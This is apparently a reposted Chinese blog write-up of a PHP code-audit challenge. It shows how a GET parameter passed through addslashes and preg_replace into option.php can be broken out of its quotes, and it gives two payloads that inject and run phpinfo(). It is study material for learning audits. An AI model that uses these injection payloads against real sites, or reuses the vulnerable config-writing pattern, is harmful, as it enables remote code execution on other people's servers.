PHP代码审计–Challenge3

题目代码:

index.php
---------------------------------------------------------------------------
<?php
$str = addslashes($_GET['option']);                                   
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);

代码中的函数解释:

  • addslashes() 函数返回在预定义字符之前添 加反斜杠的字符串。预定义字符包括单引号,双引号,null,反斜杠(\)
  • file_get_contents() 把整个文件读入一个字符串中。
  • 正则匹配替换
  • file_put_contents() 函数把一个字符串写入文件中。

xxxxx/option.php
---------------------------------------------------------------------------
$option='test';

流程:

  1. 以get的方法传入一个参数,经过addslashes()后预定义字符前都多了反斜杠,注意反斜杠在特定条件下会产生转义的效果
  2. 经过第一步处理后,把xxxxx/option.php文件中的字符串读出来
  3. 进行正则匹配,此处把\\替换成\
  4. 经过正则的匹配替换后,写入xxxxx/option.php文件中

要达成的目的:

实现单引号的闭合,从而执行后面的语句

扫描二维码关注公众号,回复: 9099901 查看本文章

法一:

  • 传入?option=aaa';%0aphpinfo();//
    经过 addslashes() ,变成 aaa\';%0aphpinfo();//,此处%0a是换行符
  • 此时xxxxx/option.php文件内容变成
    $option=' aaa\';
    phpinfo();// ';
  • 这样一来就把引号闭合了,然后执行?option=bbb
  • 正则匹配时,会将两个单引号里的内容即 aaa\ ,替换为 bbb,此时xxxxx/option.php的内容变为

<?php
$option='xxx';
phpinfo();//';
?>

最后访问:/xxxxx/option.php

法二:

  • 访问?option=aaa\';phpinfo();//
  • 经过addslashes后,$str为 aaa\\\';phpinfo();//
  • 经过preg_replace正则匹配后,对\做了转义处理,xxxxx/option.php的内容变为:

<?php 
$option='aaa\\';phpinfo();//';
?>

最后访问:/xxxxx/option.php

发布了65 篇原创文章 · 获赞 58 · 访问量 8万+

猜你喜欢

转载自blog.csdn.net/CliffordR/article/details/103287073